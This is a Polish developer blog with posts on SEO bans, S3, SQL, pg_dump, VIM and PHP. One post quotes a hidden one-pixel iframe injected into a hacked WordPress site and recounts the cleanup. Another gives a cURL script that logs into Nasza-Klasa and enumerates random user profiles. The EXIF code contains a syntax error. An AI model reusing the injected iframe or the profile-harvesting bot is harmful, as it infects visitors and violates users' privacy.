Odbanowanie domeny w Google

Ban w google

Jakże wielkie było moje zdziwienie gdy po powrocie z błogich wakacji w skrzynce mailowej znalazłem wiadomość od Google Search Quality zawiadamiającą o usunięciu z indeksu Google dwóch moich serwisów.

Powodem usunięcia (bana) było 'zastosowanie technik, które wykraczają poza wytyczne jakościowe Google’ a dokładnie domeny zawierały 'strony z ukrytym tekstem w serwisie XXX’.

Jednocześnie w mailu zostałem pouczony żeby poprawić lub usunąć wszystkie strony serwisów, które nie spełniają norm jakościowych Google.

Zostałem także poinformowany, że domeny zostały zablokowane na okres przynajmniej trzydziestu dni.

Mniejsza o to czy ban się należał czy nie, przyznaje, że część winy leżała po mojej stronie.

A ban rzeczywiście był jak skurczybyk… domeny nie dało rady znaleźć w Google w żaden sposób, site:0, odwiedzalność spadła o 75%… generalnie tragedia. Trzeba wziąć się zatem za odblokowanie…

Jak odblokować domenę?

Najpierw trzeba poprawić kod strony, do którego Google ma zastrzeżenie, następnie dodać domeny do
Google Webmaster Tools, zweryfikować i wysłać proźbę o ponowną indeksacje.

W polu tekstowym można napisać, że ów zły kod został usunięty i ew. opisać dlaczego się pojawił.

W moim przypadku obydwie domeny zostały odblokowane w przeciągu 48h od zgłoszenia. Szczerze mowiąc jestem w głębokim szoku bo praktycznie pogodziłem się już z ponad miesięczną nieobecnością w indeksie. A tak jest wielkie ufff.

Nie wiem czy standardowa procedura Google jest taka szybka, czy może szybkość wynikła z uwagi na wysoką wartość serwisów na zablokowanych domenach, czy może z tego że moje przewinienie było niewielkie i nie było umyślne, w każdym razie chylę czoła przed machiną G.

Serwisy wróciły na pozycje w SERP’ach sprzed bana, nie odnotowałem też żadnych dodatkowych perturbacji.

Wniosek?

Po pierwsze: nie warto oszukiwać Google, bo z pewnością Ci się to nie opłaci.
Po drugie: jeżeli już zdecydowałeś się oszukiwać Google to bądź pewny, że Google się o tym dowie.
Po trzecie: jeżeli Google się dowiedziało o oszukiwaniu i ukarało Cie to nie załamuj rąk, popraw się i daj znać o tym Google.

Automatyczne przeglądanie kont na naszej klasie

Ostatnio zapragnąłem trochę posurfować po największym portalu społecznościowym w Polsce jakim jest Nasza-Klasa. Poniżej prościutki kod odwiedzający losowe konta.

Deklarujemy zmienne do logowania, plik przetrzymujący ciasteczka i nazwę przeglądarki z jaką będzie się przedstawiał nasz automat.

$cookie = 'cookie.txt';

$loginUrl = 'http://nasza-klasa.pl/login';
$login = 'login';
$password = 'pass';
$useragent = 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3';

Logujemy się na konto n-k:

$ch = curl_init( $loginUrl );
curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, 'login='.$login.'&password='.$password );
curl_setopt( $ch, CURLOPT_REFERER, 'http://nasza-klasa.pl/' );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
$afterLogin = curl_exec($ch);
curl_close($ch);

Wywołujemy adresy losowych kont:

for( $i=1; $i<=100; $i++ ) {
	$profileID = rand( 1000, 15000000 ); // rand
	
	$ch = curl_init( 'http://nasza-klasa.pl/profile/'.$profileID );
	curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie);
	curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
	curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
	curl_setopt( $ch, CURLOPT_HEADER, 0);
	curl_setopt( $ch, CURLOPT_REFERER, 'http://nasza-klasa.pl/' );
	curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
	$profile = curl_exec($ch);
	curl_close($ch);
	
	if( !preg_match( '/Nie znaleziono strony \(404\)/', $profile ) ) {
		// konto istnieje
		// z danymi konta możemy zrobić co chcemy...
	} else {
		// nie ma konta takiego konta
	}
}

Ustawiamy w contab'ie wywołanie skryptu co 10 minut:

*/10 * * * * curl -s -o /dev/null PATH_TO_SCRIPT

Z uwagi na bardzo dużą liczbę kont prawdopodobieństwo odwiedzenia w niedługim czasie 2 razy tego samego konta jest stosunkowo niewielkie.

Jednak jeżeli chcemy odwiedzić każde konto jedynie raz to należy zmodyfikować skrypt tak aby przy każdym wywołaniu iterował po kolejnej setce kont. Informacje o ID od którego mamy zacząć możemy zapisywać w bazie danych lub w pliku.

Konwersja pliku wideo (mpg,mpeg,avi,3gp) do flv – ffmpeg

Aby odtwarzać plik wideo w playerze flash’owym osadzonym na stronie naszej aplikacji plik
musi być w formacie FLV (Flash Video). Konwersję można zrobić 'ręcznie’ lub zautomatyzować używając do tego dziennika crontab’a i unix’owego programu ffmpeg.

Ffmpg jest naprawdę rewelacyjnym programem, obsługuje konwersję wielu formatów audio, video oraz graficznych.

Posiada on sporą liczbę opcji i umożliwia dokonywanie wielu operacji na przetwarzanych
plikach. Pełna lista opcji dostępna jest w dokumentacji. Zobacz także składnię ffmpeg.

ffmpeg -i plik_wejsciowy -s 352×288 -acodec mp3 -r 25 -ar 22050 -ac 2 -ab 48k -b 400k -f flv plik_wyjsciowy.flv

Powyższe polecenie dokona konwersji pliku wejściowego do formatu FLV. Użyte parametry oznaczają:

* -i plik wejściowy
* -s 352x288: ustalenie rozmiaru (szerokość x wysokość) pliku wyjściowego (wartości muszą być parzyste)
* -acodec mp3: wymuszenie użycia kodeku audio (mp3)
* -r 25: ustawienie framerate'u pliku wyjściowego na 25 klatek/sek
* -ar 22050: ustawienie częstotliwości próbkowania dźwięku w Hz (domyślnie 44100hz)
* -ac 2: ustawienie liczby kanałów audio (2 - stereo, 1 - mono)
* -ab 48k: ustawienie bitrate'u dźwięku pliku wyjściowego bits/s  (domyślnie 64kbps)
* -b 400k: ustawienie bitrate'u wyjściowego pliku wideo bits/s (domyślnie 2000kbps)
* -f flv: wymuszenie formatu pliku wyjściowego
* plik_wyjsciowy.flv - plik wyjściowy

Tak przekonwertowany plik wideo powinien zachować jakość bardzo zbliżoną do oryginału. W razie potrzeby można poeksperymentować z wielkością parametrów bitrate’u, framerate’u oraz z kodekami aby otrzymać pożądaną jakość widea wyjściowego.

Amazon s3 – sposób na tani hosting plików aplikacji.

Amazon s3 (Simple Storage Service) jest usługą online, która umożliwia składowanie danych na przestrzeni dyskowej serwerów Amazon. W zależności od potrzeb, dane mogą być składowane w USA bądź też w Europie. Usługa s3 wyposarzona jest w API dzięki któremu w prosty sposób można operować na składowanych zasobach.

Usługa ta jest niesamowicie tania, opłaty pobierane są od:

  • zajmowanego miejsca – $0.18 za 1GB / miesiąć
  • zużytego transferu – $0.10 za 1GB transferu IN, $0.10 – $0.17 za 1GB transferu OUT
  • liczby request’ów – $0.012 za 1,000 request’ów PUT, POST, LIST, $0.012 za 10,000 requesty GET i wszelkie inne

Jak widać opłaty są śmiesznie niskie, w przypadku serwisu posiadającego duże ilości multimediów (zdjęcia, wideo etc..) i generującego spory ruch dużo taniej wyjdzie korzystanie z s3 niż korzystanie z jakiegokolwiek hostingu.

Dzięki kalkulatorowi możemy zaplanować i przewidzieć przyszłe koszta i tak możemy wyliczyć, że miesięczny koszt przetrzymywania 10GB i 100GB tranferu kosztować będzie w okolicach $17. Tanio prawda?

Dodatkowo korzystając z usługi Amazon nie trzeba martwić się o utratę danych, bądź ich czasową niedostępność. Infrastruktura s3 jest naprawdę znakomita, jak do tej pory nie było żadnych przypadków przerw w działaniu, a szybkość działania jest naprawdę imponująca.

Jak korzystać?

Aby zacząć korzystać z s3 należy utworzyć konto a następnie aktywować usługę poprzez autoryzację karty kredytowej. Polecam zaznajomić się z obszernym artykułem opisującym filozofie działania Amazon Web Services.

Powstało wiele bibliotek ułatwiających pracę z API s3, na wyróżnienie zasługuje class.s3.php.
Poniżej prościutki przykład użycia tej klasy:

//tworzymy obiekt klasy s3 przekazując identyfikatory naszego konta
$s3 = new S3($AMAZON_KEY, $AMAZON_PRIVATE_KEY);

//tworzymy folder
if( !$s3->bucketExists( 'FOLDER' ) ) {
	$result = $s3->createBucket( 'FOLDER' );
}

//wgrywamy plik
$result = $s3->putObject( 'FOLDER', 'DIST_FILE_NAME', 'PATH_TO_FILE', true );

//od tej chwili możemy się odwoływać do wgranego pliku poprzez http
//http://s3.amazonaws.com/FOLDER/DIST_FILE_NAME

//odczytujemy informacje wgranego obiektu
$objectData = $s3->getObjectInfo( 'FOLDER', 'DIST_FILE_NAME' );

if( !$result ) {
  print $s3->_error ;
}

//kasowanie elementow folderu
$s3->recursiveDelete( 'FOLDER', '' );

Uwaga, klasa ta wymaga dostępu do curl’a bash’owego.
W przypadku gdy funkcja shell_exec() jest zablokowana należy skorzystać z innej biblioteki np. phps3tk.

update 2008-12-19:
Znalazłem bardzo przydatny plugin do Firefox’a Amazon S3 Firefox Organizer(S3Fox), który umożliwia zarządzanie danymi na Amazon s3 z poziomu przeglądarki.

Plugin S3Fox umożliwia praktycznie wszystkie operacje na Amazon S3 jakie udostępnia API: przeglądanie, tworzenie/kasowanie/modyfikowanie folderów, wgrywanie i kasowanie zasobów oraz zarządzanie prawami dostępu do danych.

Dodatkowo generuje log z wykonanych czynności oraz wiele ułatwień. Dzięki niemu możemy przetestować poprawność naszych mechanizmów php’owych, oraz w przypadku jednorazowego upload’u zaoszczędzić czas na pisanie skryptów.

Strona domowa projektu S3Fox.

Jak usunąć zduplikowane rekody w tabeli bazy danych?

Czasami zdarza się że, poprzez nie do końca poprawną walidację danych wejściowych lub z powodu błędnego działania aplikacji stworzą nam się w bazie danych zduplikowane rekordy.

Takie niepożądane zduplikowane dane w 90% będą nam przeszkadzać i w najlepszym razie mogą powodować niepotrzebny zamęt w aplikacji. Skutki mogą takżę spowodować dużo poważniejsze problemy jak chociażby rozsynchronizowanie się danych w powiązanych tabelach w bazie.

Co należy robić w przypadku wykrycia zduplikowanych rekordów?

W pierwszej kolejności trzeba dojść do tego w jaki sposób powstały a następnie trzeba usprawnić aplikację w taki sposób aby powstawanie duplikatów było już niemożliwe.
Następnie trzeba wziąć się za zapisane dane i należy usunąć z nich nadmiarowe rekordy.

Usuwanie zduplikowanych rekordów

Usuwać duplikaty można na conajmniej kilka sposobów. Najczęstszą radą spotykaną w internecie to przeniesienie unikalnych rekordów do nowej tymczasowej tabeli, skasowanie wszystkich danych ze starej tabeli, a następnie zgranie z powrotem rekordy unikalne.

Niestety nie jest to metoda ani szybka, ani skuteczna ani bezpieczna.

Na prościutkim przykładzie rzedstawię poniżej najlepszy sposób na pozbycie się duplikatów

Tworzymy przykładową tabelę:

CREATE TABLE people(
	id SERIAL PRIMARY KEY,
	name VARCHAR(100) NOT NULL,
	surname VARCHAR(100) NOT NULL,
	phone VARCHAR(100) NOT NULL,
	email VARCHAR(100) NOT NULL
);

Tabela zawiera autoinkrementowane pole id, które jest kluczem jej głównym i kilka pól przetrzymujących dane.

Wstawiamy zduplikowane rekordy:

INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Agnieszka','Czopek','550123123','aga@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');

Wyświetlamy zawartość tabeli:

SELECT * FROM people;
 id |   name    | surname  |   phone   |      email       
----+-----------+----------+-----------+------------------
  1 | Marcin    | Maczka   | 660111111 | marcin@nospam.pl
  2 | Marcin    | Maczka   | 660111111 | marcin@nospam.pl
  3 | Agnieszka | Czopek   | 550123123 | aga@nospam.pl
  4 | Jas       | Kowalski | 555123147 | jas@nospam.pl
  5 | Jas       | Kowalski | 555123147 | jas@nospam.pl
(5 rows)

Jak widzimy mamy zduplikowane 2 rekordy, pierwszym krokiem do usunięcia rekordów będzie napisanie zapytania, które je wyświetli a następnie
zmienimy SELECT NA DELETE.

SELECT
	id, name, surname, phone, email
FROM
	people
WHERE
	EXISTS (
		SELECT
			NULL
		FROM
			people AS P
		WHERE
			people.name = P.name
			AND people.surname = P.surname
			AND people.phone = P.phone
			AND people.email = P.email
		GROUP BY
			P.name, P.surname, P.phone, P.email
		HAVING
			people.id < MAX(P.id)
	);

Wynikiem zapytania będzie:

 id |  name  | surname  |   phone   |      email       
----+--------+----------+-----------+------------------
  1 | Marcin | Maczka   | 660111111 | marcin@nospam.pl
  4 | Jas    | Kowalski | 555123147 | jas@nospam.pl
(2 rows)

Wyjaśnienie zapytania:

  • SELECT _FIELDS_ FROM people – deklarujemy pola, które checmy wyświetlić
  • WHERE EXISTS( _CONDITION_ ) – które spełniają warunek _CONDITION_
  • SELECT NULL FROM people AS P – w podzapytaniu nic nie wyświetlamy, wykorzystujemy je jedynie do złączenia
  • WHERE _CONDITION_ – joinujemy po wszystkich polach, które mają tworzyć unikalny klucz
  • GROUP BY _FIELDS_ – grupujemy wg. unikalnych pól
  • HAVING people.id < MAX(P.id) – warunek na id

Modyfikujemy teraz powyższe zapytanie SELECT _FIELDS_ na DELETE

DELETE
FROM
	people
WHERE
	EXISTS (
		SELECT
			NULL
		FROM
			people AS P
		WHERE
			people.name = P.name
			AND people.surname = P.surname
			AND people.phone = P.phone
			AND people.email = P.email
		GROUP BY
			P.name, P.surname, P.phone, P.email
		HAVING
			people.id < MAX(P.id)
	);

I otrzymujemy tabele wyczyszczoną z nadmiarowych rekordów.

Jakie to proste.

**********************edit**********************

Jak słusznie zauważył kolega Wild Child powyższe zapytanie nie działa w mySQL.
Przyznaje się bez bicia, że testowałem jedynie w PostgreSQL gdyż powyższy kod SQL
wyglądał na uniwersalny.

Okazało się jednak, że mySQL nie pozwala na jednoczesne wyświetlanie i modyfikowanie
zawartości tabeli. (jednoczesny DELETE w zapytaniu głównym i SELECT w podzapytaniu)

Posiedziałem trochę i wymyśliłem alternatywne zapytanie:

SELECT 
	D.*
FROM 
	people as U
INNER JOIN 
	people AS D ON (
	   	D.name = U.name AND
   		D.surname = U.surname AND
	   	D.phone = U.phone AND
	   	D.email = U.email
	   )
AND 
	D.id > U.id;

Konstrukcja tego zapytania jest nieco inna:

  • Robimy JOINA wewnątrz tabeli po polach, które mają być unikalne
  • Zostawiamy rekord o najniższym id, a resztę kasujemy (warunek AND D.id > U.id)
  • Skróty: D – duplicate, U – unique
  • Oczywiście aby usunąć rekordy należy zamienić słowo SELECT na DELETE

Dumpowanie bazy danych w PostgreSQL (pg_dump)

W trakcie tworzenia aplikacji internetowej początkowo projekt powinien powstawać w lokalnym środowisku programistycznym. Może to być wewnętrzny serwer firmowy, czy po prostu domowy komputer.
Dzięki temu możemy pracować na optymalnej konfiguracji serwerowej, która może nam ułatwiać niektóre czynności. Oszczędzamy także na czasie połączenia ze zdalnym serwerem bazodanowym.
Dopiero gdy aplikacja będzie miała wersję w miarę stabilna (nazwijmy ją beta czy RCx) to możemy ją przenieść na serwer docelowy i dalsze testy przeprowadzać już tam.

W trakcie przenoszenia aplikacji, będziemy musieli oprócz plików przenieść zawartość bazy danych, poniżej przedstawiam opis wszystkich dostępnych parametrów dumpowania dla bazy PostgreSQL 8.2.

Użycie: 
  pg_dump [OPTION]... [DBNAME] 

Podstawowe opcje: 
  -f, --file=FILENAME      nazwa pliku, w którym zapisany będzie dump 
  -F, --format=c|t|p       format pliku (dowolny, tar, tekstowy) 
  -i, --ignore-version     wymuś działanie nawet gdy wersja psql jest inna od wersji pg_dump 
  -v, --verbose            verbose mode 
  -Z, --compress=0-9       poziom kompresji (dla formatów skompresowanych) 
  --help                   po dumpowaniu wyświetl pomoc 
  --version                po dumpowaniu wyświetl informację o wersji 

Opcje kontrolujące dumpowane dane: 
  -a, --data-only             dumpuj tylko dane, bez schematu bazy danych 
  -b, --blobs                 dumpuj także pola tylu blobs 
  -c, --clean                 w dumpie najpierw wyczyć strukture (poprzez dropy) 
  -C, --create                zamieść w dumpie komendę tworzenia bazy danych 
  -d, --inserts               dumpuj dane jako oddzielne komendy INSERT commands (domyślnie dumpowanie jest poprzez COPY) 
  -D, --column-inserts        dumpuj dane jako oddzielne komendy INSERT commands z nazwami kolumn (domyślnie dumpowanie jest poprzez COPY) 
  -E, --encoding=ENCODING     dumpuj dane używając kodowania ENCODING 
  -n, --schema=SCHEMA         dumpuj tylko schemat(y) SCHEMA 
  -N, --exclude-schema=SCHEMA dumpuj wszystko oprócz schamat(ów) SCHEMA 
  -o, --oids                  dumpuje wraz z numerami OID 
  -O, --no-owner              pomiń zapis odnośnie właściciela bazy danych 
  -s, --schema-only           dumuj tylko strukture bazy danych 
  -S, --superuser=NAME        w dumpie będzie zawarta nazwa superusera 
  -t, --table=TABLE           dumpuj jedynie tabele TABLE z bazy danych 
  -T, --exclude-table=TABLE   dumpuj wszystkie tabele oprócz TABLE 
  -x, --no-privileges         dumpuj z pominięciem praw dostępu (grant/revoke) 
  --disable-dollar-quoting    dumpuj z pominięciem 'dollar quoting', zostanie użyte standardowy ' 
  --disable-triggers          dumpuj z pominięciem procedur wyzwalanych automatycznie (triggers) 

Opcje potrzebne do połączenia: 
  -h, --host=HOSTNAME      serwer na którym postawiona jest baza 
  -p, --port=PORT          port serwera pod którym baza jest dostępna (domyślnie: "5432") 
  -U, --username=NAME      nazwa użytkownika bazy danych 
  -W, --password           wymuszenie podania hasła

Osobiście używam polecenia:

pg_dump -c -O -U USERNAME DBNAME -h HOSTNAME -p 5432 --disable-dollar-quoting -i > DBNAME-YYYY-MM-DD.sql

Otrzymany dump najpierw zawiera wyczyszczenie struktury bazy danych (-c) (jest to przydatne gdy nadpisujemy istniejącą już bazę danych), pomijam zapis dotyczący właściciela bazy danych (-O) (gdyż na 99% właściciel bazy danych źródłowej i docelowej będzie inny), pomijam parametry -d -D i dumpuję baze poprzez COPY (takie dumpowanie znacznie przyspiesza wczytywanie zdumpowanych danych) wczytuje użytkownika jakim się łączę (-U USERNAME), nazwę bazy danych (DBNAME), host serwera na którym jest baza danych (-h HOSTNAME), port na którym się łączę z bazą danych (-p 5432), wymuszam standardowe apostrofy (–disable-dollar-quoting) i na wszelki wypadek ignoruję różnice wersji (-i). Dane zapisuję w pliku o nazwie równoważnej z nazwą bazy danych w raz z bieżącą datą (> DBNAME-YYYY-MM-DD.sql)

Blokada witryny w google z powodu wykrycia malware.

Całkiem niedawno doznałem niezłego szoku gdy dostałem maila od Google, w którym zostałem poinformowany, że witryna www.poland2012.net, którą zarządzam została uznana za niebezpieczną dla użytkowników i częściowo zablokowana w wyszukiwarce.

Blokada polegała na wyświetlaniu w SERP-ach przy linku do witryny komunikatu: „Ta witryna może wyrządzić szkody na Twoim komputerze” ( ang: „This site may harm your computer” ). Po kliknięciu na link witryny pojawiała się kolejna strona z dodatkowym ostrzeżeniem „Ostrzeżenie – przejście do tej witryny może być niebezpieczne dla Twojego komputera!„, bez linka do strony docelowej. Przez to procent wejść z wyników naturalnych Google spadł praktycznie do zera gdyż jak widać bezpośrednio przejść an witrynę nie można było a szczerze wątpię aby komukolwiek mimo takich komunikatów chciał się ręcznie wpisywać adres „podejrzanej” domeny.

Powodem blokady domeny było zalezienie przez boty Google podejrzanych fragmentów kodu w kontencie witryny, które swoim działaniem mogły zainfekować potencjalnych odwiedzających. Z początku pomyślałem że to jakaś pomyłka bo przecież nigdy bym nawet nie pomyślał aby infekować kogokolwiek jakimś złośliwym oprogramowaniem typu malware czy spyware. Po chwili namysłu pomyślałem że przecież ktoś mógł taki kod wstawić w którymś z komentarzy do artykułów – przeszukałem zatem wszystkie treści wprowadzone przez użytkowników pod kątem wystąpienia „javascript” i „iframe” i nic nie znalazłem. Następną myślą było było sprawdzenie dla świętego spokoju źródła strony głównej. Jakże byłem zdziwiony gdy oczom moim ukazał się podejrzany kod:

<iframe src=http:///www.wp-stats-php.info/iframe/wp-stats.php width=1
height=1 frameborder=0></iframe>

Co najdziwniejsze kod ten znajdował się w środku tekstu wprowadzonego przeze mnie. Po kilku guglnięciach okazało się że to właśnie jest ten złośliwy kod o który chodzi Google – kod ten otwiera w niewidocznej ramce stronę, która infekuje system nieświadomego użytkownika. Czyżbym niechcąco go sam wprowadził? Niemożliwe…

Po kilku kolejnych guglnięciach okazało się że wersji Word Press’a, którego uzywam daleko jest do najaktualniejszej i w między czasie wydano kilka krytycznych updatów, które m.in poprawiały bezpieczeństwo danych. Zatem jasnym okazało się, że ktoś włamał się do systemu używając którejś z wykrytych luk i dokleił do niektórych postów niebezpieczny kod. Cóż uroki OpenSource.

Po odkryciu co i dlaczego jest nie tak zabrałem się za sprzątanie tego bałaganu, po kolei:

  1. Usunąłem zły kod malware.
  2. Zaktualizowałem Word Press’a do najnowszej wersji 2.3.2.
  3. Przesłałem informację do Google, że moja witryna jest już bezpieczna.

Po około dwóch dniach blokada w SERP-ach została zdjęta a tym samym sprawa zakończona.

Przygoda ta przypomniała mi o tym, że jeżeli korzystamy z jakichkolwiek aplikacji OpenSource to aby zapewnić maksymalne bezpieczeństwo trzeba ją regularnie aktualizować.

Jeszcze dla podejrzliwych dodam, że nie jest możliwe aby witryna została uznana za groźną poprzez jej zgłoszenie przez konkurencje. Proces sprawdzania witryn i ich ewentualna blokada jest procesem w pełni automatycznym.

Przydatne linki:

edit:

Google udostępniło poradnik dla webmasterów „Co zrobić gdy moja strona została zhakowana?„. Poniżej dodatkowy film:

VIM – podstawowe komendy

Ktoś może pomyśleć – „po co mi znajomość VIMa, przecież jest milion przyjaźniejszych dla użytkownika edytorów”. Zgodzę się, po części – jest wiele UNIX-owych edytorów tekstu posiadających interface dużo przyjaźniejszy jednak żaden z nich nie ma takich dużych możliwości jak stary poczciwy VIM, nie znam innego edytora, który z równie sprawnie i szybko edytuje pliki 200 megowe. Zresztą na niektórych serwerach (wierzcie mi, że są takie) VIM jest jedynym dostępnym edytorem tekstu.

Jako, że kiedyś sam szukałem prostego manuala z podstawowymi komedami VIMa to może komuś się przyda:

poruszanie się po dokumencie
+ – przejście do następnej linii
– – przejście do poprzedniej linii
0 – przejście do początku linii
^ – przejście do pierwszego znaku nie będącego znakiem białym w linii
$ – przejście na koniec linii
n| – przejście do kolumny n linii
} – przejście do następnego paragrafu
{ – przejście do poprzedniego paragrafu
% – przejście do otwarcia / zamknięcia nawiasu (),[],<>,{}
G – przejście na koniec dokumentu
nG – przejście do linii <n>

zapisywanie
:x lub :wq – zapisywanie pliku i wyjście
:q! – wyjście bez zapisania zmian
:w plik – zapisanie w nowym pliku „plik”

wyszukiwanie
/ STRING – szukanie do przodu
? STRING – szukanie do tyłu
n – przejście do następnego znalezionego elementu
SHIFT+n przejście do poprzedniego znalezionego elementu

kasowanie tekstu
x – kasowanie bieżącego znaku
nx – kasowanie znaków
dw – kasowanie bieżącego wyrazu
dd – kasowanie bieżącej linii
ndd – kasowanie <n> linii
D – kasowanie znaków od kursora do końca bieżącej lini
dG – kasowanie wszystkiego od kursora do końca dokumentu

edycja tekstu
o – wstawienie nowej linii poniżej bieżącej
O – wstawienie nowej linii powyżej bieżącej
i – rozpoczęcie edycji przed kursorem
I – rozpoczęcie edycji na początku bieżącej linii
a – rozpoczęcie edycji po kursorze
A – rozpoczęcie edycji na końcu bieżącej linii
cw – zastąpienie wyrazu (bieżący wyraz się kasuje, kursor ustawia się na jego początku)
cc – zastąpienie linii (bieżąca linia się kasuje, kursor ustawia się na jej początku)

kopiowanie i wstawianie
yw – kopiuj do schowka bieżący wyraz
yb – kopiuj do schowka poprzedni wyraz
Y – kopiuj do schowka bieżącą linię
nY – kopiuj następne <n> linii
p – wklej skopiowany tekst za kursorem
P – wklej skopiowany tekst przed kursorem

inne
u – cofnięcie ostatniej zmiany
U – cofnięcie wszystkich zmian w bieżącej linii
. – powtórzenie ostatniej komendy
SHIFT+# – wyszukiwanie wyrażeń pasujących do zaznaczonego
SHIFT+% – przejście do kolejnego nawiasu () lub {}
~ – zmiana litery z małej na dużą i na odwrót

zastępowanie
Można używać wyrażeń regularnych PERL- kompatybilnych

zastąpienie stringu OLD stringiem NEW
:s/OLD/NEW – pierwszego wystąpienia w bieżącej linii
:s/OLD/NEW/g – każdego wystąpienia w linii
:#,#s/OLD/NEW/g – pomiędzy liniami # i #
:%s/OLD/NEW/g – w całym dokumencie
:%s/\([0-9]\+\) OLD/\1 NEW/g – w całym dokumencie z użyciem backreferencji (trzeba poprzez „\” wyescapować znaki specjalne, następnie poprzez „\1” wstawić wyciągnięte dane)

praca z danymi zewnętrznymi
Vim umożliwia wywołanie dowolnej komendy z poziomu edytora, można także odczytywać efekt jej działania

:! komenda – wywołanie 'komenda’ w shellu i wyświetlenie jej wyniku, komenda może być każde polecenie unixowe
:r ! komenda – wywołanie 'komenda’ w shellu i wczytanie wyniku jej działania do edytora
:r ! last | grep user – na wywoływanych komendach można robić dowolne operacje przed wczytaniem do edytora
:r textfile – wczytanie źródła pliku 'textfile’ do edytora
:r ! w3m http://en.wikipedia.org/wiki/Vi -dump – wczytanie do edytora zawartości strony internetowej

Praca z zakładkami
:tabs – wyświetlenie informacjie o aktualnie otwartych zakładkach
:tabnew – otwarcie pustej zakładki
:tabnew FILE – otwarcie pliku FILE w nowej zakładce
:tabf FILE – otwarcie pliku w nowej zakładce
:tabn – przejście do następnej zakładki
gt – przejście do następnej zakładki (działa w trybie NORMAL)
gT – przejście do poprzedniej zakładki (działa w trybie NORMAL)
n gt – przejście do zakładki o numerze n (działa w trybie NORMAL)
n gT – cofnięcie się do zakładki znajdującej się w odległości n od aktualnej (działa w trybie NORMAL)
:tabp – przejście do poprzedniej zakładki
:tabl – przejście do ostatniej zakładki
:tabc – zamknięcie aktualnej zakładki, gdy jest jedna karta, to nie będzie zamknięta
:tabo – zamknięcie wszystkich zakładek oprócz tej która jest aktualnie używana
:tabd KOMENDA – wykonuje komendę na wszystkich otwartych zakładkach

Polecam rewelacyjny VIM Tutorial.

Możliwe problemy i ich rozwiązania

  • Jeżeli przy wklejaniu do konsoli kodu z tabulacjami/spacjami tworzą się niechciane wcięcia należy użyć polecenia „:set paste” następnie wkleić kod i ponownie ustawić „:set nopaste”, więcej o wklejaniu na w tym temacie stackoverflow.

Zobacz też A vim Tutorial and Primer.

Proste i skuteczne zabezpiecznie przez spamującym botem.

Tworząc aplikacje internetowe dostępne bez autoryzacji dla wszystkich internautów musimy liczy się z tym, że wszelkie formularze są narażone na setki spamu wstawianego przez różnorakie boty.
Dotyczy to np. formularza kontaktowego lub chociażby formularz komentowania WordPress’a.

Rozwiązań jest wiele: można zaserwować botowi zagadkę logiczną typu „ile to jest 4+4=?” lub wstawić znienawidzony przez wielu kod CAPTCHA, którego odgadnięcie w wielu przypadkach graniczy z cudem.
Ja proponuję inne i dużo prostsze rozwiązane skuteczne w ponad 99%.

Action formularza ustawiamy na # (czyli przeładowanie na bieżącą stronę) a następnie w prostym skrypcie javascriptowym podmieniamy na właściwy adres.

<form action="#" method="post" id="sample_form">
<fieldset>
  <label>Wiadomość:</label>
  <textarea rows="5" cols="5" name="message"></textarea>
  <br />
  <input class="button" type="submit" value="Wyślij" />
  </fieldset>
  <noscript><h3 class="red">Do poprawnego wysłania wiadomości wymagana jest włączona obsługa JavaScript.</h3></noscript>
</form>    

<script type="text/javascript">
<!--
  document.getElementById( "sample_form" ).action = 'http://www.sample.pl/send.php';
//-->
</script>

W ten sposób, jako, że żaden bot jeszcze nie umie (i nie zanosi się na to w najbliższej przyszłości) czytać JSa, parsując stronę HTML nie odnajdzie docelowego skryptu odbierającego dane z formularza a zatem jestesmy pewni, że nie dostaniemy żadnych niechcianych wpisów.
Użytkownikom, nie posiadającym włączonej obsługi javascript ukarze się stosowny napis zawarty w tagu noscript i jeżeli będzie im zależało na wysłaniu formularza to wierzcie mi, że włączą JSa ;-)

W przypadku opensourcowych skryptów typu WordPress istnieje możliwość, że boty będą próbować odwoływać się bezpośrednio do domyślnego pliku odbierającego dane, w takim przypadku wystarczy zmienić jego nazwę choćby z wp-comments-post.php na wp-comments-post-2.php i sprawa załatwiona. Nie wierze aby komukolwiek chciało się ręcznie wpisywać do spamiarki adresy.

Odczytywanie informacji EXIF zdjęcia w PHP

Większość aparatów cyfrowych w pliku ze zdjęciem zapisuje nagłówki informujące o parametrach zrobionego zdjęcia, użytego aparatu. Dane te są zapisane w formacie IPTC i zawierają takie dane jak: datę i czas zrobienia zdjęcia, czas naświetlania, przysłonę, ogniskową, ISO, program paratu, nazwę producenta i modelu aparatu etc…

Informacje te można odczytywać i modyfikować w programach graficznych, standard IPTC szczególnie przydatny jest w fotografii stockowej (opis wykorzystania standardu IPTC).

Dane zapisane w pliku JPEG/TIFF możemy w prosty sposób odczytać w skrypcie PHP. Dostępna jest specjalna bibloteka EXIF, która nam to umożliwia. Aby móc korzystać z tej biblioteki PHP musi być skompilowane z opcjami –enable-exif i –enable-mbstring.

Poniżej przykładowa funkcja, zwracająca informacje o zdjęciu

/**
* Metoda zwraca informacje o zdjęciu
*
* @param string $file - sciezka do zdjecia
* @return array od mixed - informacje o zdjeciu
* @access public
*/
function getImageInfo( $file ) {
	$exif = exif_read_data( $file, "IFD0" );
	if( $exif ) {
		$return exif_read_data( $file, 0, true );
	}
}

Funkcja zwraca tablice z danymi, które możemy zaprezentować na stronie przy zdjęciu.
Poniżej przykładowy wynik powyższej metody.

Array
(
